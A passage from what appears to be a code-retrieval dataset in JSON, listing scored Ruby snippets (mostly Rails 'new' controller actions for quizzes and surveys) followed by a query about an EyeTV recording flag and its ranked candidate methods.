"text": "def new\n @quiz = Quiz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quiz }\n end\n end",
"title": ""
},
{
"docid": "c25b993b5a9d7ba07be2cc9d556b5c3b",
"score": "0.6733064",
"text": "def new\n @quiz = Quiz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quiz }\n end\n end",
"title": ""
},
{
"docid": "c25b993b5a9d7ba07be2cc9d556b5c3b",
"score": "0.6733064",
"text": "def new\n @quiz = Quiz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quiz }\n end\n end",
"title": ""
},
{
"docid": "7aec30a585163c2e9d14dee2fa56274f",
"score": "0.67322373",
"text": "def new\n @questionaire = Questionaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questionaire }\n end\n end",
"title": ""
},
{
"docid": "14d7b6539ff8a99d3c4694a084de658d",
"score": "0.67301834",
"text": "def new\r\n @questionnaire = Questionnaire.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @questionnaire }\r\n end\r\n end",
"title": ""
},
{
"docid": "110e07f6aa5d213a218b3c4cae64a332",
"score": "0.67286503",
"text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end",
"title": ""
},
{
"docid": "110e07f6aa5d213a218b3c4cae64a332",
"score": "0.67286503",
"text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end",
"title": ""
},
{
"docid": "110e07f6aa5d213a218b3c4cae64a332",
"score": "0.67286503",
"text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end",
"title": ""
},
{
"docid": "7b4c901b2100e267e7713bec0a64d2a1",
"score": "0.6706105",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exam }\n end\n end",
"title": ""
},
{
"docid": "502820f3fa4d6f723dea5cfaac8ed1e1",
"score": "0.6689978",
"text": "def new\n @learner_question = LearnerQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @learner_question }\n end\n end",
"title": ""
},
{
"docid": "4681f5f3fddc4d52bb55dbc62fdca9c2",
"score": "0.66819453",
"text": "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin_question }\n end\n end",
"title": ""
},
{
"docid": "2920002376849d6a2904f9a69b624679",
"score": "0.6675342",
"text": "def new\n @survey = Survey.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end",
"title": ""
},
{
"docid": "888c6c88d660bbc30bd85cd0a7cd1de1",
"score": "0.66704607",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @talk }\n end\n end",
"title": ""
},
{
"docid": "0f4b0afb92e0962060aead7bc0c7eb84",
"score": "0.66525984",
"text": "def new\n @custom_question_answer = CustomQuestionAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @custom_question_answer }\n end\n end",
"title": ""
},
{
"docid": "150a0423ae33848061a654eb8bb12e72",
"score": "0.66417056",
"text": "def new\n @exam = Exam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exam }\n end\n end",
"title": ""
},
{
"docid": "150a0423ae33848061a654eb8bb12e72",
"score": "0.66417056",
"text": "def new\n @exam = Exam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exam }\n end\n end",
"title": ""
},
{
"docid": "150a0423ae33848061a654eb8bb12e72",
"score": "0.66417056",
"text": "def new\n @exam = Exam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exam }\n end\n end",
"title": ""
},
{
"docid": "a85db70b50bb49722d77736589b68bb7",
"score": "0.6631223",
"text": "def new_rest\n @answer_list_denormalized = AnswerListDenormalized.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer_list_denormalized }\n end\n end",
"title": ""
},
{
"docid": "41433d74e36719684775ad2d50c3eabe",
"score": "0.6631148",
"text": "def new\n @new = New.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new }\n end\n end",
"title": ""
},
{
"docid": "32fe3ee0d34e227f0eb81461f7642863",
"score": "0.66287464",
"text": "def new\n @attendee_answer = AttendeeAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendee_answer }\n end\n end",
"title": ""
},
{
"docid": "de32d08f8fce467e480311d110634193",
"score": "0.66284186",
"text": "def new\n @client_answer = ClientAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client_answer }\n end\n end",
"title": ""
},
{
"docid": "19115158927dbd96d08e6ff3361255ea",
"score": "0.6625983",
"text": "def new\n @quiz_question = QuizQuestion.new :quiz_page => @quiz_page\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quiz_question }\n end\n end",
"title": ""
},
{
"docid": "371e53816cbdc87087d9dc546489f8c7",
"score": "0.662152",
"text": "def new\n @qa = Qa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @qa }\n end\n end",
"title": ""
},
{
"docid": "1f04440614660cfe603d83d5798c0950",
"score": "0.66104865",
"text": "def new\n @examtemplate = Examtemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @examtemplate }\n end\n end",
"title": ""
},
{
"docid": "1fa53b9e031d433c56e9273a4ed598c0",
"score": "0.65907395",
"text": "def new\n @case = Case.find(params[:case_id])\n @survey = Survey.find(params[:survey_id])\n @case_answers = @survey.case_answers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @case_answers }\n end\n end",
"title": ""
},
{
"docid": "91a5b0d4d898c41af53ed2ba57bd1640",
"score": "0.65879744",
"text": "def new\n @short_answer_question = ShortAnswerQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @short_answer_question }\n end\n end",
"title": ""
},
{
"docid": "876f815745e76dbf999ce20644058ab1",
"score": "0.6586529",
"text": "def new\n @talk = Talk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @talk }\n end\n end",
"title": ""
},
{
"docid": "534bbe5fbfcacc6ea464bd9c422cdaaf",
"score": "0.6581123",
"text": "def new\n @multi_choice_question = MultiChoiceQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @multi_choice_question }\n end\n end",
"title": ""
},
{
"docid": "cc88b89c3f45d61fa075e20699f5589b",
"score": "0.6577857",
"text": "def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.create(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to(@question, :notice => 'Question was successfully created.') }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "751efe920d6326f6d2e793bdc0c2d1f1",
"score": "0.65757895",
"text": "def new\n @exercise = Exercise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @exercise }\n end\n end",
"title": ""
},
{
"docid": "bea927736eaae7ba9b3496ff83be21e7",
"score": "0.6570253",
"text": "def new\n @question = Question.new\n @position = context\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "84f046731351cf8775ccef396668d3ab",
"score": "0.65665424",
"text": "def new\n @questao = Questao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questao }\n end\n end",
"title": ""
},
{
"docid": "8ed2b3b92c1337064e760a3c24aa6a6a",
"score": "0.6563725",
"text": "def new\n @question_following = QuestionFollowing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_following }\n end\n end",
"title": ""
},
{
"docid": "83cf1a404273522f5e2ca87d15100ea5",
"score": "0.6559211",
"text": "def new\n @faq = Faq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @faq }\n end\n end",
"title": ""
},
{
"docid": "f72c1011644f8e8090cec84bb80b5205",
"score": "0.6550815",
"text": "def new\n @question_detail = QuestionDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_detail }\n end\n end",
"title": ""
},
{
"docid": "ce0ba30f793f2479e3718ea394b861a1",
"score": "0.65399647",
"text": "def new\n\t@questionnaire = Questionnaire.new\n\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @questionnaire }\n\tend\n end",
"title": ""
},
{
"docid": "afa429c920e975a4eb1ec6f76c54ee7c",
"score": "0.6524755",
"text": "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"title": ""
},
{
"docid": "837bccdb1c37fead0bef9ed9507dafdc",
"score": "0.6494475",
"text": "def new\n @question_result = QuestionResult.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_result }\n end\n end",
"title": ""
},
{
"docid": "2cda636ee7a969364ea02bc1e2338fea",
"score": "0.6494092",
"text": "def new\n @choice = Choice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @choice }\n end\n end",
"title": ""
},
{
"docid": "af28b630079c17d5f51bf4fbc0e5e117",
"score": "0.64916885",
"text": "def new\n @lesson = Lesson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lesson }\n end\n end",
"title": ""
},
{
"docid": "4014902deaffe5e93a97f57b49ec3ad3",
"score": "0.648951",
"text": "def new\n @quiz_page = QuizPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quiz_page }\n end\n end",
"title": ""
},
{
"docid": "abc0068730b2ec0e42b5988c1189e1fc",
"score": "0.64889425",
"text": "def new\n @example = Example.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @example }\n end\n end",
"title": ""
},
{
"docid": "a0b78fe0830f5dbd79a4ee7a9015f317",
"score": "0.64843196",
"text": "def new\n @survey = current_user.surveys.find(params[:survey_id])\n @question = @survey.questions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end",
"title": ""
},
{
"docid": "ae7636c24ad63fd55b9c094a83228d23",
"score": "0.6483341",
"text": "def new\n @reply = Reply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reply }\n end\n end",
"title": ""
},
{
"docid": "ae7636c24ad63fd55b9c094a83228d23",
"score": "0.6483341",
"text": "def new\n @reply = Reply.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reply }\n end\n end",
"title": ""
},
{
"docid": "06faf4948f615c97db265385cf82b33c",
"score": "0.6481194",
"text": "def new\n\t\t@question = Question.new\n\t\t# respond to the html file\n\t\trespond_to do |format|\n\t\t\tformat.html do\n\t\t\t\trender \"new\", layout: false\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1689a58e4dd1e1213fc1032613d555fa",
"score": "0.6474353",
"text": "def new\n @solution = Solution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solution }\n end\n end",
"title": ""
},
{
"docid": "50c7d5fcd40e71f6e06ab54449d7df78",
"score": "0.64638346",
"text": "def new\n @surveychoice = Surveychoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @surveychoice }\n end\n end",
"title": ""
},
{
"docid": "0b8af91d8ff13def4539b05294852d6a",
"score": "0.64600164",
"text": "def new\n @question_comment = QuestionComment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_comment }\n end\n end",
"title": ""
},
{
"docid": "1a6851582ea9dbaf58d271a51828f9c4",
"score": "0.6453607",
"text": "def new\n @newtask = Newtask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newtask }\n end\n end",
"title": ""
},
{
"docid": "6dcf5af5a79eacb9ec3366f33c181424",
"score": "0.6449063",
"text": "def new\n @verb = Verb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @verb }\n end\n end",
"title": ""
},
{
"docid": "6dcf5af5a79eacb9ec3366f33c181424",
"score": "0.6449063",
"text": "def new\n @verb = Verb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @verb }\n end\n end",
"title": ""
},
{
"docid": "1b41fedf5f23eac86ecd452a8c8c9134",
"score": "0.6447817",
"text": "def new\n @dummy = Dummy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dummy }\n end\n end",
"title": ""
},
{
"docid": "e8b93d4c59c06d29e81ec9c495c999e4",
"score": "0.64422023",
"text": "def new\n @about = About.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @about }\n end\n end",
"title": ""
},
{
"docid": "0186de454da1bbacc0c0e11f5e4361ac",
"score": "0.6435466",
"text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"title": ""
}
] |
367ad797656b598dcd73d0eba51e29e8
|
flag indicate if EyeTv record an Program
|
[
{
"docid": "2e3ba0fe7c540ed7afda48c8b36c2cb1",
"score": "0.0",
"text": "def is_recording?\n @instance.is_recording.get\n end",
"title": ""
}
] |
[
{
"docid": "a005b501c8a8d65904a06bbe7a03db48",
"score": "0.5908073",
"text": "def is_recording?\n eyetv_instance.is_recording?\n end",
"title": ""
},
{
"docid": "0113252fcd265ecc58cb9dac320a1ade",
"score": "0.58252954",
"text": "def record_mode?\n !replay_mode?\n end",
"title": ""
},
{
"docid": "dcd22ffb66f24adb1da1e846743577ed",
"score": "0.5768871",
"text": "def recording?\n @current_state == :recording || @current_state == :confused\nend",
"title": ""
},
{
"docid": "507d46af90ebe99cf20b7e465255df88",
"score": "0.57354945",
"text": "def flag; end",
"title": ""
},
{
"docid": "507d46af90ebe99cf20b7e465255df88",
"score": "0.57354945",
"text": "def flag; end",
"title": ""
},
{
"docid": "507d46af90ebe99cf20b7e465255df88",
"score": "0.57354945",
"text": "def flag; end",
"title": ""
},
{
"docid": "8b8278635076624603316d24848a95c8",
"score": "0.5700591",
"text": "def recording?\n false\n end",
"title": ""
},
{
"docid": "afc0b26b327551eb674f467192c235cc",
"score": "0.5626757",
"text": "def recordOn()\n @record = true ;\n end",
"title": ""
},
{
"docid": "c3e0d8167f769b8954fd2a92528f6252",
"score": "0.5586473",
"text": "def recording?\n false\n end",
"title": ""
},
{
"docid": "59d3bf58f4fec24cce840bf3c2c19a86",
"score": "0.55495775",
"text": "def flagging(technique)\n\t\tif technique == true\n\t\t\tputs \"You reached the next hold\"\n\t\telse\n\t\t\tputs \"You were unable to reach the next hold and fell off.\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "44a4ff16872db039b82a8aa9af88de17",
"score": "0.54947275",
"text": "def can_be_paralyzed?\n return false if @status != 0\n return false if !::GameData::Flag_4G and type_electric?\n return true\n end",
"title": ""
},
{
"docid": "5b26c1dc84fc8aabed96ca92450e5fa6",
"score": "0.5479739",
"text": "def program_name?\n\t\"diagnostics\"\n end",
"title": ""
},
{
"docid": "5332dc1119a997acbb107014c7d1e6a5",
"score": "0.5437011",
"text": "def recorded?; end",
"title": ""
},
{
"docid": "2fda710543d0d039e450fb81841d92a1",
"score": "0.5432403",
"text": "def accompaniment_program_paused\n end",
"title": ""
},
{
"docid": "26e8b23c9422f07262665769b74094d6",
"score": "0.54242367",
"text": "def detect\n tv? || movie? || false\n end",
"title": ""
},
{
"docid": "79e96906cd7bd7fe196ae0988aba5a93",
"score": "0.5388029",
"text": "def has_started_program?\n self.player_budges.count>0 \n end",
"title": ""
},
{
"docid": "dc23c22fd1597a46b3bd20d025573ab3",
"score": "0.53581285",
"text": "def speak\n true\n end",
"title": ""
},
{
"docid": "0b3162cf3b923f3dac26fc526f86df70",
"score": "0.53238297",
"text": "def recording_events?\n false\n end",
"title": ""
},
{
"docid": "148eb1de45432273d59fc660d4e4a8a2",
"score": "0.53085923",
"text": "def verbose_flag; end",
"title": ""
},
{
"docid": "719ad8a4f720a9ac5c449ed96d94c3c3",
"score": "0.52985334",
"text": "def engaged?\n !!kinployee\n end",
"title": ""
},
{
"docid": "316b7e46987d55d832d5240995a54657",
"score": "0.528984",
"text": "def turn_on_engine\n\t\tputs \"engine is on\"\n\tend",
"title": ""
},
{
"docid": "2b103759317a0bbdd9061e9af1135a5e",
"score": "0.5278063",
"text": "def program_status\n if self.victorious != nil\n if self.victorious? \n return :victorious\n else\n return :defeated\n end\n elsif self.needs_to_choose_another_budge?\n return :needs_to_choose_another_budge\n elsif self.needs_contact_info? \n return :needs_contact_info \n elsif self.player_budge.time_up?\n return :time_up\n elsif self.player_budge.needs_reviving?\n return :needs_reviving\n elsif self.player_budge.ready_to_start?\n return :ready_to_start\n elsif self.player_budge.scheduled?\n return :scheduled\n elsif self.player_budge.caught_up?\n return :caught_up\n else\n return :playing\n end\n end",
"title": ""
},
{
"docid": "3c072f6a6a2c69db1b47e7774a638f0a",
"score": "0.5277542",
"text": "def running?\n\t\treturn ENVT.prod? || ENVT.dev?\n\tend",
"title": ""
},
{
"docid": "7fa5a9cb34087d7d757824876ab3fe40",
"score": "0.525835",
"text": "def check_for_encore()\n\t\t@utils.get_input(\"Press 'y' if you want to play again, or any other key to quit\").strip.downcase == 'y'\n\tend",
"title": ""
},
{
"docid": "5085c2bc31db34b93813624bc99b386a",
"score": "0.52443594",
"text": "def speaker?\n false\n end",
"title": ""
},
{
"docid": "a01c6bf123043aa9ce7387a38c23b5d6",
"score": "0.522568",
"text": "def recording?\n !@ended\n end",
"title": ""
},
{
"docid": "3ff4b973dc59ef6ea89b06112fd69a65",
"score": "0.52187395",
"text": "def what_eitan_wants_3\n\t# turn 1 and 2 on\n\t\t$sp.write(CMD12ON)\n\t\tsleep EITANSLEEP\n\t\t$sp.write(CMD12OFF)\n\t\tsleep EITANSLEEP\n\t\t$sp.write(CMD23ON)\n\t\tsleep EITANSLEEP\n\t\t$sp.write(CMD23OFF)\n\t\tsleep EITANSLEEP\nend",
"title": ""
},
{
"docid": "83628f9d56a9ba9d157a4ee1e8c429d9",
"score": "0.5215097",
"text": "def flags; end",
"title": ""
},
{
"docid": "83628f9d56a9ba9d157a4ee1e8c429d9",
"score": "0.5215097",
"text": "def flags; end",
"title": ""
},
{
"docid": "83628f9d56a9ba9d157a4ee1e8c429d9",
"score": "0.5215097",
"text": "def flags; end",
"title": ""
},
{
"docid": "83628f9d56a9ba9d157a4ee1e8c429d9",
"score": "0.5215097",
"text": "def flags; end",
"title": ""
},
{
"docid": "83628f9d56a9ba9d157a4ee1e8c429d9",
"score": "0.5215097",
"text": "def flags; end",
"title": ""
},
{
"docid": "83628f9d56a9ba9d157a4ee1e8c429d9",
"score": "0.5215097",
"text": "def flags; end",
"title": ""
},
{
"docid": "83628f9d56a9ba9d157a4ee1e8c429d9",
"score": "0.5215097",
"text": "def flags; end",
"title": ""
},
{
"docid": "7de53f03d52d72d4116499baad903290",
"score": "0.521391",
"text": "def is_video_recording?\n (self.extract('245h')).include? \"videorecording\"\n end",
"title": ""
},
{
"docid": "cff283da3df67c9bcd764a2c5eb13329",
"score": "0.5202722",
"text": "def fimv?\n measure_mode == 1\n end",
"title": ""
},
{
"docid": "c8bf493253c3fa88d96abc3fae2a85d6",
"score": "0.52011234",
"text": "def force_various_artists\n print \"Is this a various artists album? [y/N]: \"\n return readline.strip.downcase == 'y'\nend",
"title": ""
},
{
"docid": "d1af07000c48d4ed2583dc12559d11b4",
"score": "0.5176513",
"text": "def mode\n puts \"\\n\\sWould you like to play in:\"\n puts ''\n puts \"\\sManual Mode -- Type 1\"\n puts \"\\sAuto Mode -- Type 2\"\n puts \"\\sExit Game -- Type 3\"\n end",
"title": ""
},
{
"docid": "7b9d466c6f349f79dbd056b1fdf7da65",
"score": "0.51670074",
"text": "def driver_trained?\n !van_driver_training_completed_at.nil?\n end",
"title": ""
},
{
"docid": "b307fd83e1f7aa84ccb37a067af6e021",
"score": "0.5152282",
"text": "def should_be_screened?\n new_participant_in_study? &&\n !completed_event?(NcsNavigatorCore.recruitment_strategy.pbs? ?\n NcsCode.pbs_eligibility_screener :\n NcsCode.pregnancy_screener)\n end",
"title": ""
},
{
"docid": "a2ca39c73e2769181565428c52e0752b",
"score": "0.51379824",
"text": "def command_new_game\n if SES::TwitchPlaysRPGM::AutoContinue && FileTest.exist?('Save01.rvdata2')\n DataManager.load_game(0)\n fadeout_all\n $game_system.on_after_load\n SceneManager.goto(Scene_Map)\n else\n en_tprpgm_st_cng\n end\n end",
"title": ""
},
{
"docid": "fbf234b2868a3d9cdc23bfc01195a3cd",
"score": "0.5133548",
"text": "def recording?(driver_id)\n bool = \"\\0\" * SIZEOF_INT\n FMOD.invoke(:System_IsRecording, self, driver_id, bool)\n bool.unpack1('l') != 0\n end",
"title": ""
},
{
"docid": "d190f16337a9b68db2e3a00a23aa2f35",
"score": "0.5111412",
"text": "def track_inventory?\n @fields[17] == 'Y'\n end",
"title": ""
},
{
"docid": "5f36c53585d3f1aff5f0fd51da426573",
"score": "0.5100117",
"text": "def lease_review?\n @flbt_type == 'LEASEREV'\n end",
"title": ""
},
{
"docid": "dea80fa7d461c62360a2fde60914d1cd",
"score": "0.50964195",
"text": "def camera_record_enabled?\n @record_camera\n end",
"title": ""
},
{
"docid": "64f6e5aa91118da4e42a26b030ac96c5",
"score": "0.5093608",
"text": "def has_telekinesis_effect?\n @telekinesis > 0\n end",
"title": ""
},
{
"docid": "e930dbb00b6672ef302e0a5836bc0349",
"score": "0.5090052",
"text": "def fseq_play_mode(v)\n tx 0x21, *byte_pair(v)\n end",
"title": ""
},
{
"docid": "d95d44ff135c7af71a74b68eac03c951",
"score": "0.50829226",
"text": "def trainer?\n return ((self.header[6] & 0xF) & 4) > 0\n end",
"title": ""
},
{
"docid": "e75c058c07005dc5dd4d1017b7ae676a",
"score": "0.508123",
"text": "def on_program(program)\n program.first\n end",
"title": ""
},
{
"docid": "5360f31114df84669811272081aca68b",
"score": "0.5075664",
"text": "def recorder; end",
"title": ""
},
{
"docid": "06c1719f9032453b1d3cbc7244a48a5f",
"score": "0.5075459",
"text": "def discovery_vea(sea, vea)\n \"VEA #{vea} on SEA #{sea} should have \\\"Control\\\" buffer type but \" +\n \"does not\"\n end",
"title": ""
},
{
"docid": "aeabebcb5580fb020cb71fe3f24929a9",
"score": "0.50610733",
"text": "def evocations?\n\n\t @wordnet_connection.evocations?\n\n\tend",
"title": ""
},
{
"docid": "7a4d01b682da0916cf5478c0131f7cec",
"score": "0.50587076",
"text": "def in_play?\n\t\t@in_play\n\tend",
"title": ""
},
{
"docid": "b44a2ac9738606c59bcc234f7a4e7696",
"score": "0.5057566",
"text": "def track(calName)\n cmd = \"atatrackephem \\\"\" + $antList + \" \" + calName + \".ephem -w\\\"\";\n doCmd(cmd);\nend",
"title": ""
},
{
"docid": "8146eb421cd1cbe7c65737a59d37d0b8",
"score": "0.5050732",
"text": "def psp_vita?\n !!(ua =~ /Playstation Vita/)\n end",
"title": ""
},
{
"docid": "d62e0a35e4e67b529134e4df1bef1421",
"score": "0.5042436",
"text": "def command_354\r\n # タイトル画面に戻すフラグをセット\r\n $game_temp.to_title = true\r\n # 終了\r\n return false\r\n end",
"title": ""
},
{
"docid": "4c222fcc84fae10d3404444c83c281cc",
"score": "0.5040947",
"text": "def voice?\n @modes.include? 'v'\n end",
"title": ""
},
{
"docid": "a9bab3baf304e62c507f39788761a69d",
"score": "0.50378203",
"text": "def influencer?\n role == 'influencer'\n end",
"title": ""
},
{
"docid": "b6ec64c5ab6efb2e04fc756e1f3d33a6",
"score": "0.5037461",
"text": "def studio; end",
"title": ""
},
{
"docid": "b3381b065136b45fc7fbdc96a8be439b",
"score": "0.503652",
"text": "def extra_lines?\n\t\t@ida.hasExtra(flags)\n\tend",
"title": ""
},
{
"docid": "39548f794539a410804192457daa8e61",
"score": "0.50333256",
"text": "def begin_recording; end",
"title": ""
},
{
"docid": "d636f6847e98d001528a1340e3ab49a1",
"score": "0.503104",
"text": "def do_not_thread\n\t\tfname=\"PlmParticipant.do_not_thread:\"\n\t\ttrue\n\tend",
"title": ""
},
{
"docid": "e3bc44598b29e38b80e614d887ecfdb8",
"score": "0.5030052",
"text": "def preview_experiment_variation?\n defined?(params) && params[PREVIEW_EXPERIMENT_PARAM] == 'experiment'\n end",
"title": ""
},
{
"docid": "3bc7c0b02e1aeb3be4e90f1ad8e0935c",
"score": "0.50215286",
"text": "def flag\n match[:flag]\n end",
"title": ""
},
{
"docid": "3bc7c0b02e1aeb3be4e90f1ad8e0935c",
"score": "0.50215286",
"text": "def flag\n match[:flag]\n end",
"title": ""
},
{
"docid": "d0b958a2224fd721b266c30fbbbcde3c",
"score": "0.50116444",
"text": "def has_invideo_programming?\n type == 'promotion' || type == 'branding'\n end",
"title": ""
},
{
"docid": "29f12f006d2b5c7acabee327e4b77e19",
"score": "0.5008389",
"text": "def beginRecordUI\n code = beginRecord\n case code\n when 0; return true\n when 256+66\n Kernel.pbMessage(_INTL(\"All recording devices are in use. Recording is not possible now.\"))\n return false\n when 256+72\n Kernel.pbMessage(_INTL(\"No supported recording device was found. Recording is not possible.\"))\n return false\n else\n buffer = \"\\0\"*256\n MciErrorString.call(code,buffer,256)\n Kernel.pbMessage(_INTL(\"Recording failed: {1}\",buffer.gsub(/\\x00/,\"\")))\n return false \n end\nend",
"title": ""
},
{
"docid": "42350f9cba789b8685701b23efa33282",
"score": "0.5006521",
"text": "def capture(show: false)\n\n command = \"rec -c 1 -r 8000 -t alsa default #{@file_out} \" +\n \"silence 1 0.1 5% 5 1.0 5%\"\n run command, show\n\n end",
"title": ""
},
{
"docid": "193c7ac08310ad635ddc8e912c1954e0",
"score": "0.5001907",
"text": "def main?\n false\n end",
"title": ""
},
{
"docid": "28489adc6e250bc6fdc8c6022461b40d",
"score": "0.49869052",
"text": "def game? line\n line.match(/InitGame/) ? true : false\n end",
"title": ""
},
{
"docid": "73d20b7644908e92ed02c49affb7247b",
"score": "0.4976354",
"text": "def video\n phys_desc().each do |val|\n if (val.include? \"v\") or (val.include? \"m\")\n return true\n end\n end\n return false\n #Inspect location codes for common format abbrvs.\n # record.fields('945').each do |item|\n # item.subfields.each do |sf|\n # if sf.code == 'l'\n # val = sf.value.strip\n # #esv - online video recording\n # #dvd or dv in codes for dvds.\n # if val.match('[:alpha:]+(dvd|dv$)|esv')\n # puts '**'\n # return true\n # elsif val.match('[:alpha:]+vid|')\n # puts '***', val\n # return true\n # end\n # end\n # end\n # end\n # return nil\n end",
"title": ""
},
{
"docid": "78cb05368fddcc31a2e631792630b71a",
"score": "0.49763125",
"text": "def TargetMode; end",
"title": ""
},
{
"docid": "95dc9c1521344a2019562e86f0b5297c",
"score": "0.49732432",
"text": "def recorded!; end",
"title": ""
},
{
"docid": "d055a1efd68c28e1ff5330d43fc13fea",
"score": "0.49731192",
"text": "def record(event); end",
"title": ""
},
{
"docid": "46afbb51a905e370fbef2feba41c31b4",
"score": "0.496964",
"text": "def continue_enabled\n return !DataManager.latest_savefile.nil?\n end",
"title": ""
},
{
"docid": "46afbb51a905e370fbef2feba41c31b4",
"score": "0.496964",
"text": "def continue_enabled\n return !DataManager.latest_savefile.nil?\n end",
"title": ""
},
{
"docid": "f16d9cc22f249eaa357136fb84bc4e2e",
"score": "0.49608445",
"text": "def program!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n\n\n\n type = PROGRAM\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 60:10: 'program'\n match( \"program\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n\n end",
"title": ""
},
{
"docid": "8894cf4d63eb1de242dcfec6ec12f625",
"score": "0.4960477",
"text": "def studio?\n # return if there is only 1 bedroom\n @num_beds == 1\n end",
"title": ""
},
{
"docid": "f5b25acfbe6ab982db24a52c759df9f7",
"score": "0.4955967",
"text": "def program!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n\n\n\n type = PROGRAM\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 45:10: 'program'\n match( \"program\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n\n end",
"title": ""
},
{
"docid": "7fc6800b87440de80fb27244083869f3",
"score": "0.4955376",
"text": "def notrailers?\n (flags & 32) > 0\n end",
"title": ""
},
{
"docid": "7d1ff4263d121c46c0a847a5c30a89d4",
"score": "0.49527478",
"text": "def streamer\r\n object.streamer == 1 ? true : false\r\n end",
"title": ""
},
{
"docid": "2ef31a597347c8d6878f7ca8d6488c8f",
"score": "0.49428925",
"text": "def byebye?\n sub_type == 'ssdp:byebye'\n end",
"title": ""
},
{
"docid": "95822e083dfbe5f6aba1d3af8c0d0bd2",
"score": "0.49408266",
"text": "def is_screen_request\n if @pdt_screen_def.mode.to_s == PdtScreenDefinition.const_get(\"MENUSELECT\").to_s\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "6fff229d758c2a75e028558dbed19c9b",
"score": "0.49404308",
"text": "def command_354\n # Set return to title screen flag\n $game_temp.to_title = true\n # End\n return false\n end",
"title": ""
},
{
